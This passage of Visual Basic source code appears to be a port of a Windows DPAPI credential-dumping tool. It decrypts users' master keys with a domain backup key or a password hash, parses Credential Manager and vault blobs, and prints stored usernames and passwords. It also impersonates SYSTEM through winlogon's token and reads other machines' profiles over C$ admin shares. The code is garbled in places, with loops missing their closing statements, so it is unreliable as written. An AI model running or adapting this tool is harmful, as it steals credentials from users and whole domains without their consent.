Dim id As Integer = BitConverter.ToInt32(vaultItemBytes, offset)

offset += 4

Dim size As Integer = BitConverter.ToInt32(vaultItemBytes, offset)

offset += 4

Dim entryString As String = Encoding.Unicode.GetString(vaultItemBytes, offset, size)

Dim entryData As Byte() = New Byte(size - 1) {}

Array.Copy(vaultItemBytes, offset, entryData, 0, size)

offset += size

Select Case id

Case 1

Console.WriteLine(" Resource : {0}", entryString)

Case 2

Console.WriteLine(" Identity : {0}", entryString)

Case 3

Console.WriteLine(" Authenticator : {0}", entryString)

Case Else

If Helpers.IsUnicode(entryData) Then

Console.WriteLine(" Property {0} : {1}", id, entryString)

Else

Dim entryDataString As String = BitConverter.ToString(entryData).Replace("-", " ")

Console.WriteLine(" Property {0} : {1}", id, entryDataString)

End If

End Select

End Sub

Public Shared Sub DescribeCredential(ByVal credentialBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String))

Dim plaintextBytes As Byte() = DescribeDPAPIBlob(credentialBytes, MasterKeys, "credential")

If plaintextBytes.Length > 0 Then

ParseDecCredBlob(plaintextBytes)

End If

End Sub

Public Shared Sub ParseDecCredBlob(ByVal decBlobBytes As Byte())

Dim offset As Integer = 0

Dim credFlags As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)

offset += 4

Dim credSize As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)

offset += 4

Dim credUnk0 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)

offset += 4

Dim type As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)

offset += 4

Dim flags As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)

offset += 4

Dim lastWritten As Long = CLng(BitConverter.ToInt64(decBlobBytes, offset))

offset += 8

Dim lastWrittenTime As System.DateTime = System.DateTime.FromFileTime(lastWritten)

Console.WriteLine(" LastWritten : {0}", lastWrittenTime)

Dim unkFlagsOrSize As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)

offset += 4

Dim persist As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)

offset += 4

Dim attributeCount As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)

offset += 4

Dim unk0 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)

offset += 4

Dim unk1 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)

offset += 4

Dim targetNameLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)

offset += 4

Dim targetName As String = Encoding.Unicode.GetString(decBlobBytes, offset, targetNameLen)

offset += targetNameLen

Console.WriteLine(" TargetName : {0}", targetName)

Dim targetAliasLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)

offset += 4

Dim targetAlias As String = Encoding.Unicode.GetString(decBlobBytes, offset, targetAliasLen)

offset += targetAliasLen

Console.WriteLine(" TargetAlias : {0}", targetAlias)

Dim commentLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)

offset += 4

Dim comment As String = Encoding.Unicode.GetString(decBlobBytes, offset, commentLen)

offset += commentLen

Console.WriteLine(" Comment : {0}", comment)

Dim unkDataLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)

offset += 4

Dim unkData As String = Encoding.Unicode.GetString(decBlobBytes, offset, unkDataLen)

offset += unkDataLen

Dim userNameLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)

offset += 4

Dim userName As String = Encoding.Unicode.GetString(decBlobBytes, offset, userNameLen)

offset += userNameLen

Console.WriteLine(" UserName : {0}", userName)

Dim credBlobLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)

offset += 4

Dim credBlobBytes As Byte() = New Byte(credBlobLen - 1) {}

Array.Copy(decBlobBytes, offset, credBlobBytes, 0, credBlobLen)

offset += credBlobLen

If Helpers.IsUnicode(credBlobBytes) Then

Dim credBlob As String = Encoding.Unicode.GetString(credBlobBytes)

Console.WriteLine(" Credential : {0}", credBlob)

Else

Dim credBlobByteString As String = BitConverter.ToString(credBlobBytes).Replace("-", " ")

Console.WriteLine(" Credential : {0}", credBlobByteString)

End If

End Sub

Public Shared Function ParseDecPolicyBlob(ByVal decBlobBytes As Byte()) As ArrayList

Dim keys As ArrayList = New ArrayList()

Dim s As String = Encoding.ASCII.GetString(decBlobBytes, 12, 4)

If s.Equals("KDBM") Then

Dim offset As Integer = 20

Dim aes128len As Integer = BitConverter.ToInt32(decBlobBytes, offset)

offset += 4

If aes128len <> 16 Then

Console.WriteLine(" [X] Error parsing decrypted Policy.vpol (aes128len != 16)")

Return keys

End If

Dim aes128Key As Byte() = New Byte(aes128len - 1) {}

Array.Copy(decBlobBytes, offset, aes128Key, 0, aes128len)

offset += aes128len

Dim aes128KeyStr As String = BitConverter.ToString(aes128Key).Replace("-", "")

offset += 20

Dim aes256len As Integer = BitConverter.ToInt32(decBlobBytes, offset)

offset += 4

If aes256len <> 32 Then

Console.WriteLine(" [X] Error parsing decrypted Policy.vpol (aes256len != 32)")

Return keys

End If

Dim aes256Key As Byte() = New Byte(aes256len - 1) {}

Array.Copy(decBlobBytes, offset, aes256Key, 0, aes256len)

Dim aes256KeyStr As String = BitConverter.ToString(aes256Key).Replace("-", "")

keys.Add(aes128Key)

keys.Add(aes256Key)

Else

Dim offset As Integer = 16

Dim s2 As String = Encoding.ASCII.GetString(decBlobBytes, offset, 4)

offset += 4

If s2.Equals("KSSM") Then

offset += 16

Dim aes128len As Integer = BitConverter.ToInt32(decBlobBytes, offset)

offset += 4

If aes128len <> 16 Then

Console.WriteLine(" [X] Error parsing decrypted Policy.vpol (aes128len != 16)")

Return keys

End If

Dim aes128Key As Byte() = New Byte(aes128len - 1) {}

Array.Copy(decBlobBytes, offset, aes128Key, 0, aes128len)

offset += aes128len

Dim aes128KeyStr As String = BitConverter.ToString(aes128Key).Replace("-", "")

Dim pattern As Byte() = New Byte(11) {&H4B, &H53, &H53, &H4D, &H2, &H0, &H1, &H0, &H1, &H0, &H0, &H0}

Dim index As Integer = Helpers.ArrayIndexOf(decBlobBytes, pattern, offset)

If index <> -1 Then

offset = index

offset += 20

Dim aes256len As Integer = BitConverter.ToInt32(decBlobBytes, offset)

offset += 4

If aes256len <> 32 Then

Console.WriteLine(" [X] Error parsing decrypted Policy.vpol (aes256len != 32)")

Return keys

End If

Dim aes256Key As Byte() = New Byte(aes256len - 1) {}

Array.Copy(decBlobBytes, offset, aes256Key, 0, aes256len)

Dim aes256KeyStr As String = BitConverter.ToString(aes256Key).Replace("-", "")

keys.Add(aes128Key)

keys.Add(aes256Key)

Else

Console.WriteLine("[X] Error in decrypting Policy.vpol: second MSSK header not found!")

End If

Return keys

End Function

Public Shared Function GetDomainKey(ByVal masterKeyBytes As Byte()) As Byte()

Dim offset As Integer = 96

Dim masterKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)

offset += 8

Dim backupKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)

offset += 8

Dim credHistLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)

offset += 8

Dim domainKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)

offset += 8

offset += CInt((masterKeyLen + backupKeyLen + credHistLen))

Dim domainKeyBytes As Byte() = New Byte(domainKeyLen - 1) {}

Array.Copy(masterKeyBytes, offset, domainKeyBytes, 0, domainKeyLen)

Return domainKeyBytes

End Function

Public Shared Function GetMasterKey(ByVal masterKeyBytes As Byte()) As Byte()

Dim offset As Integer = 96

Dim masterKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)

offset += 4 * 8

Dim masterKeySubBytes As Byte() = New Byte(masterKeyLen - 1) {}

Array.Copy(masterKeyBytes, offset, masterKeySubBytes, 0, masterKeyLen)

Return masterKeySubBytes

End Function

Public Shared Function DecryptMasterKey(ByVal masterKeyBytes As Byte(), ByVal backupKeyBytes As Byte()) As Dictionary(Of String, String)

Dim mapping As Dictionary(Of String, String) = New Dictionary(Of String, String)()

Try

Dim guidMasterKey As String = String.Format("{{{0}}}", Encoding.Unicode.GetString(masterKeyBytes, 12, 72))

Dim offset As Integer = 4

Dim domainKeyBytes As Byte() = GetDomainKey(masterKeyBytes)

Dim secretLen As Integer = BitConverter.ToInt32(domainKeyBytes, offset)

offset += 4

Dim accesscheckLen As Integer = BitConverter.ToInt32(domainKeyBytes, offset)

offset += 4

offset += 16

Dim secretBytes As Byte() = New Byte(secretLen - 1) {}

Array.Copy(domainKeyBytes, offset, secretBytes, 0, secretLen)

offset += secretLen

Dim accesscheckBytes As Byte() = New Byte(accesscheckLen - 1) {}

Array.Copy(domainKeyBytes, offset, accesscheckBytes, 0, accesscheckLen)

Dim rsaPriv As Byte() = New Byte(backupKeyBytes.Length - 24 - 1) {}

Array.Copy(backupKeyBytes, 24, rsaPriv, 0, rsaPriv.Length)

Dim a As String = BitConverter.ToString(rsaPriv).Replace("-", "")

Dim sec As String = BitConverter.ToString(secretBytes).Replace("-", "")

Dim domainKeyBytesDec As Byte() = Crypto.RSADecrypt(rsaPriv, secretBytes)

Dim masteyKeyLen As Integer = BitConverter.ToInt32(domainKeyBytesDec, 0)

Dim suppKeyLen As Integer = BitConverter.ToInt32(domainKeyBytesDec, 4)

Dim masterKey As Byte() = New Byte(masteyKeyLen - 1) {}

Buffer.BlockCopy(domainKeyBytesDec, 8, masterKey, 0, masteyKeyLen)

Dim sha1 As SHA1Managed = New SHA1Managed()

Dim masterKeySha1 As Byte() = sha1.ComputeHash(masterKey)

Dim masterKeySha1Hex As String = BitConverter.ToString(masterKeySha1).Replace("-", "")

mapping.Add(guidMasterKey, masterKeySha1Hex)

Catch ex As Exception

Console.WriteLine(ex.Message)

End Try

Return mapping

End Function

Public Shared Function DecryptMasterKeyWithSha(ByVal masterKeyBytes As Byte(), ByVal shaBytes As Byte()) As Dictionary(Of String, String)

Dim mapping As Dictionary(Of String, String) = New Dictionary(Of String, String)()

Try

Dim guidMasterKey As String = String.Format("{{{0}}}", Encoding.Unicode.GetString(masterKeyBytes, 12, 72))

Dim mkBytes As Byte() = GetMasterKey(masterKeyBytes)

Dim offset As Integer = 4

Dim salt As Byte() = New Byte(15) {}

Array.Copy(mkBytes, 4, salt, 0, 16)

offset += 16

Dim rounds As Integer = BitConverter.ToInt32(mkBytes, offset)

offset += 4

Dim algHash As Integer = BitConverter.ToInt32(mkBytes, offset)

offset += 4

Dim algCrypt As Integer = BitConverter.ToInt32(mkBytes, offset)

offset += 4

Dim encData As Byte() = New Byte(mkBytes.Length - offset - 1) {}

Array.Copy(mkBytes, offset, encData, 0, encData.Length)

Dim final As Byte() = New Byte(47) {}

If algHash = 32782 Then

Using hmac = New HMACSHA512()

Dim df = New Pbkdf2(hmac, shaBytes, salt, rounds)

final = df.GetBytes(48)

End Using

Else

Console.WriteLine("[X] Note: alg hash '{0} / 0x{1}' not currently supported!", algHash, algHash.ToString("X8"))

Return mapping

End If

If (algCrypt = 26128) AndAlso (algHash = 32782) Then

Dim HMACLen As Integer = (New HMACSHA512()).HashSize / 8

Dim aesCryptoProvider As AesManaged = New AesManaged()

Dim ivBytes As Byte() = New Byte(15) {}

Array.Copy(final, 32, ivBytes, 0, 16)

Dim key As Byte() = New Byte(31) {}

Array.Copy(final, 0, key, 0, 32)

aesCryptoProvider.Key = key

aesCryptoProvider.IV = ivBytes

aesCryptoProvider.Mode = CipherMode.CBC

aesCryptoProvider.Padding = PaddingMode.Zeros

Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length)

Dim outLen As Integer = plaintextBytes.Length

Dim outputLen As Integer = outLen - 16 - HMACLen

Dim masterKeyFull As Byte() = New Byte(HMACLen - 1) {}

Array.Copy(plaintextBytes, outLen - outputLen, masterKeyFull, 0, masterKeyFull.Length)

Using sha1 As SHA1Managed = New SHA1Managed()

Dim masterKeySha1 As Byte() = sha1.ComputeHash(masterKeyFull)

Dim masterKeySha1Hex As String = BitConverter.ToString(masterKeySha1).Replace("-", "")

If algHash = 32782 Then

Dim plaintextCryptBuffer As Byte() = New Byte(15) {}

Array.Copy(plaintextBytes, plaintextCryptBuffer, 16)

Dim hmac1 As HMACSHA512 = New HMACSHA512(shaBytes)

Dim round1Hmac As Byte() = hmac1.ComputeHash(plaintextCryptBuffer)

Dim round2buffer As Byte() = New Byte(outputLen - 1) {}

Array.Copy(plaintextBytes, outLen - outputLen, round2buffer, 0, outputLen)

Dim hmac2 As HMACSHA512 = New HMACSHA512(round1Hmac)

Dim round2Hmac As Byte() = hmac2.ComputeHash(round2buffer)

Dim comparison As Byte() = New Byte(63) {}

Array.Copy(plaintextBytes, 16, comparison, 0, comparison.Length)

Dim s1 As String = BitConverter.ToString(comparison).Replace("-", "")

Dim s2 As String = BitConverter.ToString(round2Hmac).Replace("-", "")

If s1.Equals(s2) Then

mapping.Add(guidMasterKey, masterKeySha1Hex)

Else

Console.WriteLine("[X] {0}:{1} - HMAC integrity check failed!", guidMasterKey, masterKeySha1Hex)

Return mapping

End If

Else

Console.WriteLine("[X] Note: alg hash '{0} / 0x{1}' not currently supported!", algHash, algHash.ToString("X8"))

Return mapping

End If

End Using

Else

Console.WriteLine("[X] Note: alg crypt '{0} / 0x{1}' not currently supported!", algCrypt, algCrypt.ToString("X8"))

Return mapping

End If

Catch

End Try

Return mapping

End Function

End Class

Public Class Crypto

Public Shared Function DecryptBlob(ByVal ciphertext As Byte(), ByVal key As Byte(), ByVal Optional algCrypt As Integer = 26115) As Byte()

If algCrypt = 26115 Then

Dim desCryptoProvider As TripleDESCryptoServiceProvider = New TripleDESCryptoServiceProvider

Dim ivBytes = New Byte(7) {}

desCryptoProvider.Key = key

desCryptoProvider.IV = ivBytes

desCryptoProvider.Mode = CipherMode.CBC

desCryptoProvider.Padding = PaddingMode.Zeros

Dim plaintextBytes As Byte() = desCryptoProvider.CreateDecryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length)

Return plaintextBytes

ElseIf algCrypt = 26128 Then

Dim aesCryptoProvider As AesManaged = New AesManaged

Dim ivBytes = New Byte(15) {}

aesCryptoProvider.Key = key

aesCryptoProvider.IV = ivBytes

aesCryptoProvider.Mode = CipherMode.CBC

aesCryptoProvider.Padding = PaddingMode.Zeros

Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length)

Return plaintextBytes

Else

Return New Byte(-1) {}

End If

End Function

Public Shared Function DeriveKey(ByVal keyBytes As Byte(), ByVal saltBytes As Byte(), ByVal Optional algHash As Integer = 32772) As Byte()

If algHash = 32782 Then

Dim hmac As HMACSHA512 = New HMACSHA512(keyBytes)

Dim sessionKeyBytes As Byte() = hmac.ComputeHash(saltBytes)

Return sessionKeyBytes

ElseIf algHash = 32772 Then

Dim hmac As HMACSHA1 = New HMACSHA1(keyBytes)

Dim ipad = New Byte(63) {}

Dim opad = New Byte(63) {}

Dim sessionKeyBytes As Byte() = hmac.ComputeHash(saltBytes)

For i = 0 To 64 - 1

ipad(i) = Convert.ToByte("6"c)

opad(i) = Convert.ToByte("\"c)

For i = 0 To keyBytes.Length - 1

ipad(i) = ipad(i) Xor sessionKeyBytes(i)

opad(i) = opad(i) Xor sessionKeyBytes(i)

Using sha1 As SHA1Managed = New SHA1Managed

Dim ipadSHA1bytes As Byte() = sha1.ComputeHash(ipad)

Dim opadSHA1bytes As Byte() = sha1.ComputeHash(opad)

Dim combined As Byte() = Helpers.Combine(ipadSHA1bytes, opadSHA1bytes)

Return combined

End Using

Else

Return New Byte(-1) {}

End If

End Function

Public Shared Function AESDecrypt(ByVal key As Byte(), ByVal IV As Byte(), ByVal data As Byte()) As Byte()

Dim aesCryptoProvider As AesManaged = New AesManaged

aesCryptoProvider.Key = key

If IV.Length <> 0 Then

aesCryptoProvider.IV = IV

End If

aesCryptoProvider.Mode = CipherMode.CBC

Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)

Return plaintextBytes

End Function

Public Shared Function LSAAESDecrypt(ByVal key As Byte(), ByVal data As Byte()) As Byte()

Dim aesCryptoProvider As AesManaged = New AesManaged

aesCryptoProvider.Key = key

aesCryptoProvider.IV = New Byte(15) {}

aesCryptoProvider.Mode = CipherMode.CBC

aesCryptoProvider.BlockSize = 128

aesCryptoProvider.Padding = PaddingMode.Zeros

Dim transform As ICryptoTransform = aesCryptoProvider.CreateDecryptor

Dim chunks = Decimal.ToInt32(Math.Ceiling(data.Length / CDec(16)))

Dim plaintext = New Byte(chunks * 16 - 1) {}

For i = 0 To chunks - 1

Dim offset = i * 16

Dim chunk = New Byte(15) {}

Array.Copy(data, offset, chunk, 0, 16)

Dim chunkPlaintextBytes As Byte() = transform.TransformFinalBlock(chunk, 0, chunk.Length)

Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16)

Return plaintext

End Function

Public Shared Function RSADecrypt(ByVal privateKey As Byte(), ByVal dataToDecrypt As Byte()) As Byte()

Dim cspParameters = New System.Security.Cryptography.CspParameters(24)

Using rsaProvider = New System.Security.Cryptography.RSACryptoServiceProvider(cspParameters)

Try

rsaProvider.PersistKeyInCsp = False

rsaProvider.ImportCspBlob(privateKey)

Dim dataToDecryptRev = New Byte(255) {}

Buffer.BlockCopy(dataToDecrypt, 0, dataToDecryptRev, 0, dataToDecrypt.Length)

Array.Reverse(dataToDecryptRev)

Dim dec As Byte() = rsaProvider.Decrypt(dataToDecryptRev, False)

Return dec

Catch e As Exception

Console.WriteLine("Error decryption domain key: {0}", e.Message)

Finally

rsaProvider.PersistKeyInCsp = False

rsaProvider.Clear()

End Try

End Using

Return New Byte(-1) {}

End Function

Public Shared Function LSASHA256Hash(ByVal key As Byte(), ByVal rawData As Byte()) As Byte()

Using sha256Hash As SHA256 = SHA256.Create

Dim buffer = New Byte(key.Length + rawData.Length * 1000 - 1) {}

Array.Copy(key, 0, buffer, 0, key.Length)

For i = 0 To 1000 - 1

Array.Copy(rawData, 0, buffer, key.Length + i * rawData.Length, rawData.Length)

Return sha256Hash.ComputeHash(buffer)

End Using

End Function

End Class

<System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId:="Pbkdf", Justification:="Spelling is correct.")>

Public Class Pbkdf2

Public Sub New(ByVal algorithm As HMAC, ByVal password As Byte(), ByVal salt As Byte(), ByVal iterations As Int32)

If algorithm Is Nothing Then

Throw New ArgumentNullException("algorithm", "Algorithm cannot be null.")

End If

If salt Is Nothing Then

Throw New ArgumentNullException("salt", "Salt cannot be null.")

End If

If password Is Nothing Then

Throw New ArgumentNullException("password", "Password cannot be null.")

End If

Me.Algorithm = algorithm

Me.Algorithm.Key = password

Me.Salt = salt

Me.IterationCount = iterations

Me.BlockSize = Me.Algorithm.HashSize / 8

Me.BufferBytes = New Byte(Me.BlockSize - 1) {}

End Sub

Public Sub New(ByVal algorithm As HMAC, ByVal password As Byte(), ByVal salt As Byte())

Me.New(algorithm, password, salt, 1000)

End Sub

Public Sub New(ByVal algorithm As HMAC, ByVal password As String, ByVal salt As String, ByVal iterations As Int32)

Me.New(algorithm, UTF8Encoding.UTF8.GetBytes(password), UTF8Encoding.UTF8.GetBytes(salt), iterations)

End Sub

Public Sub New(ByVal algorithm As HMAC, ByVal password As String, ByVal salt As String)

Me.New(algorithm, password, salt, 1000)

End Sub

Private ReadOnly BlockSize As Integer

Private BlockIndex As UInteger = 1

Private BufferBytes As Byte()

Private BufferStartIndex As Integer = 0

Private BufferEndIndex As Integer = 0

Public Property Algorithm As HMAC

<System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance", "CA1819:PropertiesShouldNotReturnArrays", Justification:="Byte array is proper return value in this case.")>

Public Property Salt As Byte()

Public Property IterationCount As Int32

Public Function GetBytes(ByVal count As Integer) As Byte()

Dim result As Byte() = New Byte(count - 1) {}

Dim resultOffset As Integer = 0

Dim bufferCount As Integer = Me.BufferEndIndex - Me.BufferStartIndex

If bufferCount > 0 Then

If count < bufferCount Then

Buffer.BlockCopy(Me.BufferBytes, Me.BufferStartIndex, result, 0, count)

Me.BufferStartIndex += count

Return result

End If

Buffer.BlockCopy(Me.BufferBytes, Me.BufferStartIndex, result, 0, bufferCount)

Me.BufferStartIndex = CSharpImpl.__Assign(Me.BufferEndIndex, 0)

resultOffset += bufferCount

End If

While resultOffset < count

Dim needCount As Integer = count - resultOffset

Me.BufferBytes = Me.Func()

If needCount > Me.BlockSize Then

Buffer.BlockCopy(Me.BufferBytes, 0, result, resultOffset, Me.BlockSize)

resultOffset += Me.BlockSize

Else

Buffer.BlockCopy(Me.BufferBytes, 0, result, resultOffset, needCount)

Me.BufferStartIndex = needCount

Me.BufferEndIndex = Me.BlockSize

Return result

End If

End While

Return result

End Function

Private Function Func() As Byte()

Dim hash1Input = New Byte(Me.Salt.Length + 4 - 1) {}

Buffer.BlockCopy(Me.Salt, 0, hash1Input, 0, Me.Salt.Length)

Buffer.BlockCopy(GetBytesFromInt(Me.BlockIndex), 0, hash1Input, Me.Salt.Length, 4)

Dim hash1 = Me.Algorithm.ComputeHash(hash1Input)

Dim finalHash As Byte() = hash1

For i As Integer = 2 To Me.IterationCount

hash1 = Me.Algorithm.ComputeHash(hash1, 0, hash1.Length)

For j As Integer = 0 To Me.BlockSize - 1

finalHash(j) = CByte((finalHash(j) Xor hash1(j)))

Array.Copy(finalHash, hash1, hash1.Length)

If Me.BlockIndex = UInteger.MaxValue Then

Throw New InvalidOperationException("Derived key too long.")

End If

Me.BlockIndex += 1

Return finalHash

End Function

Private Shared Function GetBytesFromInt(ByVal i As UInteger) As Byte()

Dim bytes = BitConverter.GetBytes(i)

If BitConverter.IsLittleEndian Then

Return New Byte() {bytes(3), bytes(2), bytes(1), bytes(0)}

Else

Return bytes

End If

End Function

Private Class CSharpImpl

<Obsolete("Please refactor calling code to use normal Visual Basic assignment")>

Shared Function __Assign(Of T)(ByRef target As T, value As T) As T

target = value

Return value

End Function

End Class

Public Class Helpers

Public Shared Function TestRemote(ByVal computerName As String) As Boolean

Try

Dim remotePath As String = String.Format("\\{0}\C$\Users\", computerName)

Dim dirs As String() = Directory.GetDirectories(remotePath)

Return True

Catch e As Exception

Console.WriteLine("[!] Error accessing computer '{0}' : {1}", computerName, e.Message)

Return False

End Try

End Function

Public Shared Function ConvertLocalPathToUNCPath(ByVal computerName As String, ByVal localPath As String) As String

Try

Dim parts As String() = localPath.Split(New Char() {System.IO.Path.DirectorySeparatorChar}, StringSplitOptions.RemoveEmptyEntries)

Dim driveLetter As String = parts(0).Replace(":"c, "$"c)

Dim newPath As String = String.Format("\\{0}\{1}\{2}", computerName, driveLetter, String.Join("\", (parts.Skip(1).Take(parts.Length - 1)).ToArray()))

Return newPath

Catch

Return ""

End Try

End Function

Public Shared Function Combine(ByVal first As Byte(), ByVal second As Byte()) As Byte()

Dim ret As Byte() = New Byte(first.Length + second.Length - 1) {}

Buffer.BlockCopy(first, 0, ret, 0, first.Length)

Buffer.BlockCopy(second, 0, ret, first.Length, second.Length)

Return ret

End Function

Public Shared Function Combine(ByVal first As String(), ByVal second As String()) As String()

Dim ret As String() = New String(first.Length + second.Length - 1) {}

Array.Copy(first, 0, ret, 0, first.Length)

Array.Copy(second, 0, ret, first.Length, second.Length)

Return ret

End Function

Public Shared Function IsUnicode(ByVal bytes As Byte()) As Boolean

Dim flags As Interop.IsTextUnicodeFlags = Interop.IsTextUnicodeFlags.IS_TEXT_UNICODE_STATISTICS

Return Interop.IsTextUnicode(bytes, bytes.Length, flags)

End Function

Public Shared Function RemoveWhiteSpaces(ByVal input As String) As String

Return Regex.Replace(input, "\ +(?=(\n|\r?$))", "")

End Function

Public Shared Function GetSystem() As Boolean

If IsHighIntegrity() Then

Dim hToken As IntPtr = IntPtr.Zero

Dim processes As Process() = Process.GetProcessesByName("winlogon")

Dim handle As IntPtr = processes(0).Handle

Dim success As Boolean = Interop.OpenProcessToken(handle, &H2, hToken)

If Not success Then

Return False

End If

Dim hDupToken As IntPtr = IntPtr.Zero

success = Interop.DuplicateToken(hToken, 2, hDupToken)

If Not success Then

Return False

End If

success = Interop.ImpersonateLoggedOnUser(hDupToken)

If Not success Then

Return False

End If

Interop.CloseHandle(hToken)

Interop.CloseHandle(hDupToken)

Dim name As String = System.Security.Principal.WindowsIdentity.GetCurrent().Name

If name <> "NT AUTHORITY\SYSTEM" Then

Return False

End If

Return True

Else

Return False

End If

End Function

Public Shared Function GetRegKeyValue(ByVal keyPath As String) As Byte()

Dim result As Integer = 0

Dim hKey As IntPtr = IntPtr.Zero

result = Interop.RegOpenKeyEx(&H80000002UI, keyPath, 0, &H19, hKey)

If result <> 0 Then

Dim [error] As Integer = Marshal.GetLastWin32Error()

Dim errorMessage As String = New Win32Exception(CInt([error])).Message

Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, [error], errorMessage)

Return Nothing

End If

Dim cbData As Integer = 0

result = Interop.RegQueryValueEx(hKey, Nothing, 0, IntPtr.Zero, IntPtr.Zero, cbData)

If result <> 0 Then

Dim [error] As Integer = Marshal.GetLastWin32Error()

Dim errorMessage As String = New Win32Exception(CInt([error])).Message

Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)

Return Nothing

End If

Dim dataPtr As IntPtr = Marshal.AllocHGlobal(cbData)

result = Interop.RegQueryValueEx(hKey, Nothing, 0, IntPtr.Zero, dataPtr, cbData)

If result <> 0 Then

Dim [error] As Integer = Marshal.GetLastWin32Error()

Dim errorMessage As String = New Win32Exception(CInt([error])).Message

Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)

Return Nothing

End If

Dim data As Byte() = New Byte(cbData - 1) {}

Marshal.Copy(dataPtr, data, 0, cbData)

Interop.RegCloseKey(hKey)

Return data

End Function

Public Shared Function StringToByteArray(ByVal hex As String) As Byte()

Return Enumerable.Range(0, hex.Length).Where(Function(x) x Mod 2 = 0).[Select](Function(x) Convert.ToByte(hex.Substring(x, 2), 16)).ToArray()

End Function

Public Shared Iterator Function Split(ByVal text As String, ByVal partLength As Integer) As IEnumerable(Of String)

If text Is Nothing Then

Console.WriteLine("[!] Split() - singleLineString")

End If

If partLength < 1 Then

Console.WriteLine("[!] Split() - 'columns' must be greater than 0.")

End If

Dim partCount = Math.Ceiling(CDbl(text.Length) / partLength)

If partCount < 2 Then

Yield text

End If

For i As Integer = 0 To partCount - 1

Dim index = i * partLength

Dim lengthLeft = Math.Min(partLength, text.Length - index)

Dim line = text.Substring(index, lengthLeft)

Yield line

End Function

Public Shared Function IsHighIntegrity() As Boolean

Dim identity As WindowsIdentity = WindowsIdentity.GetCurrent()

Dim principal As WindowsPrincipal = New WindowsPrincipal(identity)

Return principal.IsInRole(WindowsBuiltInRole.Administrator)

End Function

Public Shared Function ArrayIndexOf(ByVal arrayToSearchThrough As Byte(), ByVal patternToFind As Byte(), ByVal Optional offset As Integer = 0) As Integer

If patternToFind.Length > arrayToSearchThrough.Length Then Return -1

For i As Integer = offset To arrayToSearchThrough.Length - patternToFind.Length - 1

Dim found As Boolean = True

For j As Integer = 0 To patternToFind.Length - 1

If arrayToSearchThrough(i + j) <> patternToFind(j) Then

found = False

Exit For

End If

If found Then

Return i

End If

Return -1

End Function

End Class

Public Class Triage

Public Shared Function TriageUserMasterKeys(ByVal backupKeyBytes As Byte(), ByVal Optional show As Boolean = False, ByVal Optional computerName As String = "") As Dictionary(Of String, String)

Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()

If Not String.IsNullOrEmpty(computerName) Then

Dim canAccess As Boolean = Helpers.TestRemote(computerName)

If Not canAccess Then

Return New Dictionary(Of String, String)()

End If

If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then

Dim userFolder As String = ""

If Not String.IsNullOrEmpty(computerName) Then

userFolder = String.Format("\\{0}\C$\Users\", computerName)

Else

userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))

End If

Dim userDirs As String() = Directory.GetDirectories(userFolder)

For Each dir As String In userDirs

Dim parts As String() = dir.Split("\"c)

Dim userName As String = parts(parts.Length - 1)

If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then

Dim userDPAPIBasePath As String = String.Format("{0}\AppData\Roaming\Microsoft\Protect\", dir)

If System.IO.Directory.Exists(userDPAPIBasePath) Then

Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)

For Each mydirectory As String In directories

Dim files As String() = Directory.GetFiles(mydirectory)

For Each myfile As String In files

If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then

Dim fileName As String = System.IO.Path.GetFileName(myfile)

If show Then

Console.WriteLine("[*] Found MasterKey : {0}", myfile)

End If

Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)

Try

Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)

'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))

For Each MyMap In mapping

mappings.Add(MyMap.Key, MyMap.Value)

Catch e As Exception

Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)

End Try

End If

Else

Dim userName As String = Environment.GetEnvironmentVariable("USERNAME")

Dim userDPAPIBasePath As String = String.Format("{0}\AppData\Roaming\Microsoft\Protect\", System.Environment.GetEnvironmentVariable("USERPROFILE"))

If System.IO.Directory.Exists(userDPAPIBasePath) Then

Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)

For Each mydirectory As String In directories

